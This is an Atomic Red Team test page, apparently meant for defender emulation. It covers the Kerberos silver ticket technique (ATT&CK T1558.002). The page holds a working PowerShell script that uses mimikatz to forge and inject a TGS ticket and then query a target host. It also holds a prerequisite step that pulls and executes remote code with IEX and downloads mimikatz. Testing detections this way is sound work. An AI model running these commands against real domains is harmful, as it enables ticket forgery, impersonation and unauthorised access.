# T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket

## Description from ATT&CK

> Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)
> 
> Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)
> 
> Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).

[Source](https://attack.mitre.org/techniques/T1558/002)

## Atomic Tests

- [Atomic Test #1: Crafting Active Directory silver tickets with mimikatz](#atomic-test-1-crafting-active-directory-silver-tickets-with-mimikatz)

### Atomic Test #1: Crafting Active Directory silver tickets with mimikatz

Once the hash of service account is retrieved it is possible to forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.
The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.

**Supported Platforms:** Windows

**auto_generated_guid:** `385e59aa-113e-4711-84d9-f637aef01f2c`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| domain_sid | SID of the targeted domain, if you keep default it will automatically get the current domain SID | string | S-1-5-21-DEFAULT|
| domain | Targeted Active Directory domain FQDN | string | %userdnsdomain%|
| account | Account to impersonate | string | silverticketfakeuser|
| target | System you want to target (Default will be logon server) | string | %logonserver:&#92;&#92;=%|
| service_aes256_key | AES256 key (you will need to set to match your service key for your target) | string | b[PII_REDACTED]090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9|
| mimikatz_path | Mimikatz windows executable | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;mimikatz&#92;x64&#92;mimikatz.exe|

#### Attack Commands: Run with `powershell`!

```powershell
Remove-Item $env:TEMP\silver.bat -ErrorAction Ignore
Remove-Item $env:TEMP\silver.txt -ErrorAction Ignore

# get current domain SID if default was used
$domain_sid = "#{domain_sid}"
If ($domain_sid -Match "DEFAULT") {
  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60
  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain
  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
}

# create batch file with commands to run in a separate "runas /netonly" session
# so we don't purge Kerberos ticket from the current Windows session
# its output goes to silver.txt temp file, because we cannot capture "runas /netonly" output otherwise
@"
>%TEMP%\silver.txt 2>&1 (
  echo Purge existing tickets and create silver ticket:
  klist purge
  #{mimikatz_path} "kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key} /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt" "exit"

  echo.
  echo executing:schtasks /query /S #{target}.#{domain}
  schtasks /query /S #{target}.#{domain}
  
  echo.
  echo Tickets after requesting schtasks:
  klist

  echo.
  echo End of Silver Ticket attack
)
"@ -Replace "DOMAIN_SID", $domain_sid | Out-File -Encoding OEM $env:TEMP\silver.bat

# run batch file in a new empty session (password and username do not matter)
echo "foo" | runas /netonly /user:fake "$env:TEMP\silver.bat" | Out-Null

# wait until the output file has logged the entire attack
do {
  Start-Sleep 1 # wait a bit so the output file has time to be created
  Get-Content -Path "$env:TEMP\silver.txt" -Wait | ForEach-Object {
    if ($_ -match 'End of Silver Ticket attack') { break } 
  }
} while ($false) # dummy loop so that 'break' can be used

# show output from new empty session
Get-Content $env:TEMP\silver.txt

# cleanup temp files
Remove-Item $env:TEMP\silver.bat -ErrorAction Ignore
Remove-Item $env:TEMP\silver.txt -ErrorAction Ignore
```


#### Dependencies: Run with `powershell`!

##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

###### Check Prereq Commands

```powershell
$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo #{mimikatz_path}
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
```